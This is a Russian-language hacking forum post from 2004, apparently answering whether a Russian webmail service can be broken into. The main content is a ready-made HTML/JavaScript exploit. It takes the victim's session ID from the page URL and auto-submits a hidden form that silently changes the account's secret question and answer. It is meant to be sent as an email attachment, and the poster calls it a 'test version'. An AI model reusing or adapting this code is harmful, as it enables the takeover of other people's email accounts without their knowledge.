Ломается ли хотмайл?

#11

16.10.2004, 19:23

Guest

Сообщений: n/a

С нами:

Репутация:

Да это развод, только явно не вас. Есть 2-е формы секретный вопрос и секретный ответ... Есть форма настроек данных и есть поле маил. На все эти формы пароль не требуется

Под почтовый клиент, естественно js может и не пахать(например в бате), поэтому придется крепить html'ку. Это конечно пока толька идеи, но мне кажется что ид-ешник получится вытащить из хистори(так как в почтовом клиенте больше ее вы тащить не откуда). Для особо не верущих этот код:

<html>
<script>
var stroka=location+'#';
var sid=stroka.substr(98,32);

</script>
<form   method="POST" name="forma">
   <INPUT type="hidden" name="session_id">
   <INPUT type="hidden" value="1" name="cp_msg">
   <INPUT type="hidden" value="1" name="__post">
   <INPUT type="hidden" name="cp_quest" value="Ни рыба, ни мясо?и не курица тоже

">
   <INPUT type="hidden" name="cp_answ"  value="321123">
   <INPUT type="hidden" method="POST" value="Внести изменения">
 </form>
<script>
forma.action="http://www4.nm.ru/users/chpass.dhtml...id="+sid;
forma.session_id.value=sid;
document.forma.submit()
</script>
</html>

Этот js меняет лишь секретный вопрос и ответ...
з.ы. Скрипт работает только в прикрепленном файле с именем "Ready exploit for hotmail.ru.html". Сами понимаите измените имя фаила, изменится локатион. Скрипт работает только вод веб-интерфейсом

Это так сказать тестовая версия

За полной обращайтесь в фсб

)